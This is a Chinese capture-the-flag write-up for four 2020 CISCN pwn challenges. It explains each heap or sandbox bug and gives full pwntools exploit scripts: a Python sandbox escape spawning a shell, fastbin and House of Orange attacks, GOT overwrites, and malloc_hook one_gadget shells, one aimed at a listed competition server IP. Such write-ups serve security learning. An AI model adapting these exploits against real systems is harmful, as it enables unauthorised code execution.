2020 CISCN PWN WP 当时只做了一道easybox, 但远程打不通, 菜….
原题下载: https://github.com/I0gan/pwn/tree/master/matchs/2020_08_ciscn
1-babyjsc 难度 1 / 10
简单描述 使用Python模拟的终端, 先输入大小, 然后jsc数据执行jsc数据.
vul 使用python 模拟的终端
知识点 python sanbox escape
思路 python 沙箱逃逸
EXP 1 2 3 4 5 6 from pwn import * sh = remote('0.0.0.0', 0) p = "__import__('os').system('sh')" sh.sendline(len(p)) sh.sendline(p) sh.interactive()
2-NoFree 难度 5 / 10
保护 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
简单描述 只有添加和编辑
vul 1 2 3 4 5 6 7 char *__fastcall sub_40095C (unsigned int size) { memset (p_addr, 0 , 0x100 uLL); printf ("content: " , 0LL ); read_n(p_addr, size); return strdup(p_addr); }
strdup函数相当于包含了strlen + malloc + strcpy 函数, 根据字符串长度来malloc, 然后strcpy到开辟的空间里,然后在输入一定大小后, 再输入内容,内容中若出现’\x00’字符截断, 则造成在edit模式堆溢出, 可以在同个index下开辟内存, 造成内存泄漏.
知识点 House of Orange, fastbin attack
思路 通过堆溢出漏洞修改top chunk 大小, 不断开辟内存, 直到开辟top chunk 快完毕, 使剩余的top chunk 为 fastbin size, 再开辟一块大的, 使剩余的部分为fastbin, 然后通过堆溢出修改fastbin fd为 p_addr + 0x100(堆指针数组), 在该数组中的大小要与fastbin 中的一致, 通过fastbin attack 打入 p_addr+ 0x100, 通过index 0控制 index 1 打入p_addr 设置字符串漏洞, 然后修改 memset 的got 表为printf的plt地址,再次开辟泄漏libc.再使用同样的方法修改atoi got表中的地址为system, 传入 ‘/bin/sh’即可 get shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 from pwn import * context.log_level='debug' exeFile = 'pwn' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "0.0.0.0" remotePort = 0 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) db = lambda : gdb.attach(io)def ad (idx, size, data ): sla('>>' , str (1 )) sla(':' , str (idx)) sla(':' , str (size)) sa(':' , data)def md (idx, data ): sla(':' , str (2 )) sla(':' , str (idx)) sa(':' , data)def exploit (): ad(0 , 0x90 , 'A' ) md(0 , 'A' * 0x10 + p64(0 ) + p64(0xfe1 )) for i in range (24 ): ad(1 , 0x90 , 'A' *0x90 ) ad(0 , 0x80 , 'A' * 0x70 ) ad(0 , 0x80 , 'A' * 0x10 ) ad(1 , 0x40 , 'A' * 0x40 ) p_addr = 0x6020c0 md(0 , 'A' * 0x10 + p64(0x20 ) + p64(0x20 ) + p64(p_addr + 0x100 )) ad(0 , 0x20 , 'A' ) ad(0 , 0x20 , p64(exe.got['memset' ]) + p64(0x10 )) md(1 , p64(exe.plt['printf' ])) md(0 , p64(p_addr)) md(1 ,'%17$p' ) sla('>>' , str (1 )) sla(':' , str (2 )) sla(':' , str (0x40 )) ru('0x' ) libc_base = int (ru('content' ), 16 ) - (0x7ffff7a2d830 - 0x7ffff7a0d000 ) li('libc_base ' + hex (libc_base)) sa(':' , 'A' * 0x20 ) libc_sys = libc_base + lib.sym['system' ] md(0 , p64(exe.got['atoi' ])) md(1 , p64(libc_sys)) sl('/bin/sh' ) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()
3-Easy box 难度 4 / 10
保护 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
简单描述 只存在添加和删除功能
vul 1 2 3 4 qword_202040[v1] = size + 1 ; qword_2020C0[v1] = malloc (size);puts ("content:" ); read(0 , qword_2020C0[v1], qword_202040[v1]);
存在off by one漏洞
知识点 io-file, fastbin attack
思路 堆布局构成fastbin 打入 _IO_2_1_stderr + 192
处, 泄漏libc, 再次使用用fastbin 打入 malloc_hook - 0x23处修改malloc_hook, realloc调整execve参数
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 from pwn import * exeFile = 'easy_box' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "101.200.53.148" remotePort = 34521 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) db = lambda : gdb.attach(io)def ad (index, size, data ): sla('>>>' , str (1 )) sla(':' , str (index)); sla(':' , str (size)) sa(':' , data)def rm (idx ): sla('>>>' , str (2 )) sla(':' , str (idx))def q (): sla(':' , str (5 )) def exploit (): ad(0 , 0x68 , 'A' ) ad(1 , 0x68 , 'B' ) ad(2 , 0x68 , 'C' ) ad(3 , 0x68 , 'D' ) rm(0 ) ad(0 , 0x68 , '\x00' * 0x68 + p8(0xe1 )) rm(1 ) rm(2 ) ad(4 , 0x28 , '\x11' * 0x28 ) ad(5 , 0x38 , '\x22' * 0x38 ) ad(6 , 0x10 , '\xdd\x25' ) rm(5 ) ad(5 , 0x38 , '\x22' * 0x38 + p8(0x71 )) ad(7 , 0x68 , '\x00' ) p = '\x00' * 0x33 + p64(0xfbad3c80 ) + 3 * p64(0 ) + p8(0 ) ad(8 , 0x68 , p) libc_base = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) libc_base -= lib.sym['_IO_2_1_stderr_' ] + 192 lib.address = libc_base main_arena = libc_base + 0x3c4b20 li('libc_base: ' + hex (libc_base)) rm(7 ) rm(5 ) ad(5 , 0x38 , '\x22' * 0x38 + p8(0x21 )) rm(6 ) ad(6 , 0x10 , p64(main_arena - 0x33 )) rm(5 ) ad(0 , 0x38 , '\x22' * 0x38 + p8(0x71 )) ad(9 , 0x68 , 'A' ) realloc = lib.sym['realloc' ] gadgets = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 , 0xcd0f3 , 0xcd1c8 ] one_gadget = lib.address + gadgets[2 ] p = '\xAA' * (0x13 - 0x8 ) + p64(one_gadget) + p64(realloc + 8 ) ad(10 , 0x68 , p) sla('>>>' , str (1 )) sla(':' , str (11 )); sla(':' , str (0x10 ))def finish (): ia() c()if __name__ == '__main__' : for i in range (100 ): try : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() break else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish() except : c() exploit() finish()
4-maj 难度 5/ 10
保护 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000)
简单描述 以前在v&n面试中, 有位师傅面过我这类型的, 基本思路也差不多, 经典的heap题, 有花指令影响逆向分析, 简单的添加功能,而添加功能所输入的字符临时储存在全局变量区中, 只有编辑功能才对堆区写入数据,还有删除功能, 打印功能没有。
vul 在删除功能中, free后指针没有清0
1 2 3 4 5 6 else { sub_400846(dword_603010, dword_60303C + 1 , dword_603040); }free (p_addr[v3]); if ( dword_60303C / dword_603010 > 1 )
知识点 uaf, fastbin attack, IO file attack
思路 使用fastbin attack 打入_IO_2_1_stdout中泄漏libc, 然后再使用fastbin attack 此打入malloc_hook - 0x23处打one_gadget, realloc调整execve参数
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 from pwn import *import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) context.log_level='debug' elf_path = 'maj' MODIFY_LD = 0 arch = '64' libc_v = '2.23' ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2' libs_path = '/glibc/' + libc_v + '/' + arch + '/lib' libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6' libc_path = './libc.so.6' if (MODIFY_LD): os.system('cp ' + elf_path + ' ' + elf_path + '.bk' ) change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path os.system(change_ld_cmd) li('modify ld ok!' ) exit(0 ) server_ip = "0.0.0.0" server_port = 0 LOCAL = 1 LIBC = 1 def db (): if (LOCAL): gdb.attach(io)def ad (s, d ): sla('>>' , '1' ) sla('question' , '80' ) sla('?' , str (s)) sa('?' , d) def rm (i ): sla('>>' , '2' ) sla('?' , str (i))def md (i, d ): sla('>>' , '4' ) sla('?' , str (i)) sa('?' , d)def exploit (): li('exploit...' ) ad(0x20 , 'A' * 0x10 ) ad(0x60 , 'A' ) ad(0x80 , 'A' ) ad(0x20 , 'A' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) rm(3 ) rm(0 ) rm(3 ) rm(2 ) ad(0x20 , 'A' ) md(7 , '\x90' ) ad(0x20 , 'A' ) ad(0x20 , 'A' ) md(1 , b'A' * 0x50 + p64(0 ) + p64(0x31 )) ad(0x20 , 'A' ) md(10 , p64(0 ) + p64(0x71 ) + b'\xdd\x25' ) rm(4 ) rm(1 ) rm(4 ) ad(0x60 , 'A' ) md(11 , '\xa0' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) p = b'A' * 0x33 p += p64(0xfbad3c80 ) p += p64(0 ) * 3 p += p8(8 ) md(15 , p) leak = u64(ru('\x7f' )[-5 :] + b'\x7f\x00\x00' ) libc_base = leak - (0x7ffff7fc2608 - 0x7ffff7c26000 ) libc_base = leak - (0x7ffff7dd2608 - 0x7ffff7a0d000 ) libc.address = libc_base one_gadget = libc_base + 0x3f42a one_gadget = libc_base + 0xf0364 li('leak: ' + hex (leak)) li('libc_base: ' + hex (libc_base)) rm(5 ) rm(6 ) rm(5 ) ad(0x60 , 'A' ) p = p64(libc.sym['__malloc_hook' ] - 0x23 ) md(16 , p) ad(0x60 , 'A' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) p = b'A' * (0x13 - 0x8 ) p += p64(one_gadget) p += p64(libc.sym['realloc' ] + 8 ) md(19 , p) sla('>>' , '1' ) sla('question' , '80' ) sla('?' , str (10 ))def finish (): ia() c()if __name__ == '__main__' : if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} ) else : io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path}) else : elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()